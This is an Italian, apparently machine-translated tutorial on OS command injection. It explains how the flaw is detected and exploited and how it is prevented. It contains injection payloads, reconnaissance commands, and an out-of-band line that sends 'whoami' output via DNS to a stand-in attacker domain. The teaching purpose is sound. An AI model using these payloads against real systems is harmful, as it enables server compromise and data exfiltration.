OS command injection

In questa sezione, spiegheremo cos’è OS command injection, descriveremo come le vulnerabilità possono essere rilevate e sfruttate, spiegheremo alcuni comandi e tecniche utili per diversi sistemi operativi e riassumeremo come prevenire OS command injection.

 OS command injection

Che cos’è OS command injection?

OS command injection (noto anche come shell injection) è una vulnerabilità di sicurezza Web che consente a un utente malintenzionato di eseguire comandi arbitrari del sistema operativo (OS) sul server che esegue un’applicazione e in genere compromette completamente l’applicazione e tutti i suoi dati. Molto spesso, un utente malintenzionato può sfruttare una vulnerabilità di iniezione del comando del sistema operativo per compromettere altre parti dell’infrastruttura di hosting, sfruttando le relazioni di fiducia per ruotare l’attacco verso altri sistemi all’interno dell’organizzazione.

Esecuzione di comandi arbitrari

Considera un’applicazione commerciale che consente all’utente di visualizzare se un articolo è disponibile in un determinato negozio. Queste informazioni sono accessibili tramite un URL come:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Per fornire le informazioni di stock, l’applicazione deve interrogare vari sistemi legacy. Per ragioni storiche, la funzionalità viene implementata richiamando un comando shell con gli ID prodotto e archivio come argomenti:

stockreport.pl 381 29

Questo comando restituisce lo stato dello stock per l’articolo specificato, che viene restituito all’utente.

Dal momento che l’applicazione implementa alcuna difesa contro OS comando di iniezione, un utente malintenzionato può inviare il seguente comando per eseguire un comando arbitrario:

& echo aiwefwlguh &

Se questo ingresso è presentata nella productID parametro, quindi il comando eseguito mediante l’applicazione è:

stockreport.pl & echo aiwefwlguh & 29

Il echo comando fa semplicemente in modo che la stringa fornita di riflettersi in uscita, ed è un utile modo per testare per alcuni tipi di OS comando di iniezione. Il carattere & è un separatore di comandi della shell, quindi ciò che viene eseguito sono in realtà tre comandi separati uno dopo l’altro. Di conseguenza, l’output restituito all’utente è:

Error - productID was not provided
aiwefwlguh
29: command not found

Le tre linee di uscita dimostrano che:

  • Il comando originale stockreport.pl è stato eseguito senza i suoi argomenti previsti e quindi ha restituito un messaggio di errore.
  • Il comando iniettato echo è stato eseguito e la stringa fornita è stata riecheggiata nell’output.
  • L’argomento originale 29 è stato eseguito come comando, causando un errore.

Posizionare il separatore di comandi aggiuntivo & dopo il comando iniettato è generalmente utile perché separa il comando iniettato da tutto ciò che segue il punto di iniezione. Ciò riduce la probabilità che quanto segue impedisca l’esecuzione del comando iniettato.

Comandi utili

Quando si è identificata una vulnerabilità del sistema operativo command injection, è generalmente utile eseguire alcuni comandi iniziali per ottenere informazioni sul sistema compromesso. Di seguito è riportato un riepilogo di alcuni comandi utili su piattaforme Linux e Windows:

Scopo del comando Linux Windows
Nome dell’utente corrente whoami whoami
sistema Operativo uname -a ver
configurazione di Rete ifconfig ipconfig /all
connessioni di Rete netstat -an netstat -an
i processi in Esecuzione ps -ef tasklist

Cieco OS comando iniezione di vulnerabilità

Molte istanze di OS command injection sono vulnerabilità cieche. Ciò significa che l’applicazione non restituisce l’output dal comando all’interno della sua risposta HTTP. Le vulnerabilità cieche possono ancora essere sfruttate, ma sono necessarie tecniche diverse.

Considera un sito web che consente agli utenti di inviare feedback sul sito. L’utente inserisce il proprio indirizzo e-mail e il messaggio di feedback. L’applicazione lato server genera quindi un’e-mail a un amministratore del sito contenente il feedback. Per fare ciò, chiama il programma mail con i dettagli inviati. Biru:

mail -s "This site is great" -aFrom:[email protected] [email protected]

L’output dal comando mail (se presente) non viene restituito nelle risposte dell’applicazione e quindi l’utilizzo del payload echo non sarebbe efficace. In questa situazione, è possibile utilizzare una varietà di altre tecniche per rilevare e sfruttare una vulnerabilità.

Rilevamento di blind OS command injection utilizzando ritardi temporali

È possibile utilizzare un comando iniettato che attiverà un ritardo temporale, consentendo di confermare che il comando è stato eseguito in base al tempo impiegato dall’applicazione per rispondere. Il comando ping è un modo efficace per farlo, in quanto consente di specificare il numero di pacchetti ICMP da inviare e quindi il tempo necessario per l’esecuzione del comando:

& ping -c 10 127.0.0.1 &

Questo comando farà sì che l’applicazione esegua il ping della sua scheda di rete di loopback per 10 secondi.

Sfruttare blind OS command injection reindirizzando l’output

È possibile reindirizzare l’output dal comando iniettato in un file all’interno della radice web che è possibile recuperare utilizzando il browser. Ad esempio, se l’applicazione serve risorse statiche dalla posizione del filesystem /var/www/static, è possibile inviare il seguente input:

& whoami > /var/www/static/whoami.txt &

Il carattere > invia l’output dal comando whoami al file specificato. È quindi possibile utilizzare il browser per recuperare https://vulnerable-website.com/whoami.txt per recuperare il file e visualizzare l’output dal comando iniettato.

Sfruttare blind OS command injection utilizzando tecniche out-of-band (OAST)

È possibile utilizzare un comando iniettato che attiverà un’interazione di rete out-of-band con un sistema che si controlla, utilizzando tecniche OAST. Ad esempio:

& nslookup kgji2ohoyw.web-attacker.com &

Questo payload utilizza il comando nslookup per creare una ricerca DNS per il dominio specificato. L’utente malintenzionato può monitorare la ricerca specificata che si verifica e quindi rilevare che il comando è stato iniettato correttamente.

out-of-band canale, inoltre, fornisce un modo semplice di sottrarre l’uscita dal iniettato comandi:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Questo causerà una ricerca DNS per l’attaccante del dominio contenente il risultato del whoami comando:

wwwuser.kgji2ohoyw.web-attacker.com

Modi di iniezione di comandi OS

Una varietà di metacaratteri della shell può essere utilizzato per eseguire OS comando gli attacchi di iniezione.

Un certo numero di caratteri funzionano come separatori di comandi, consentendo ai comandi di essere concatenati insieme. I seguenti separatori di comandi funzionano sia su sistemi basati su Windows che su Unix:

  • &
  • &&
  • |
  • ||

Il comando riportato di seguito separatori funzionano solo su sistemi basati su Unix:

  • ;
  • Newline (0x0a o \n)

Nei sistemi basati su Unix, è anche possibile utilizzare gli apici inversi o il carattere del dollaro per eseguire inline esecuzione di un’iniezione di comando all’interno del comando originale:

  • ` comando iniettato `
  • $( comando iniettato )

Si noti che i diversi metacaratteri della shell hanno comportamenti sottilmente diversi che potrebbero influenzare se funzionano in determinate situazioni e se consentono il recupero in banda dell’output del comando o sono utili solo per lo sfruttamento cieco.

A volte, l’input controllato viene visualizzato tra virgolette nel comando originale. In questa situazione, è necessario terminare il contesto quotato (usando " o ') prima di utilizzare i metacaratteri della shell adatti per iniettare un nuovo comando.

Come prevenire gli attacchi OS command injection

Di gran lunga il modo più efficace per prevenire le vulnerabilità OS command injection è di non chiamare mai i comandi OS dal codice a livello di applicazione. Praticamente in ogni caso, esistono modi alternativi per implementare le funzionalità richieste utilizzando le API della piattaforma più sicure.

Se è considerato inevitabile chiamare i comandi del sistema operativo con input fornito dall’utente, è necessario eseguire una convalida di input forte. Alcuni esempi di validazione efficace includono:

  • Convalida rispetto a una whitelist di valori consentiti.
  • Convalida che l’input è un numero.
  • Convalida che l’input contiene solo caratteri alfanumerici, nessuna altra sintassi o spazio bianco.

Non tentare mai di disinfettare l’input sfuggendo ai metacaratteri della shell. In pratica, questo è troppo soggetto a errori e vulnerabile ad essere aggirato da un attaccante esperto.

You might also like

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.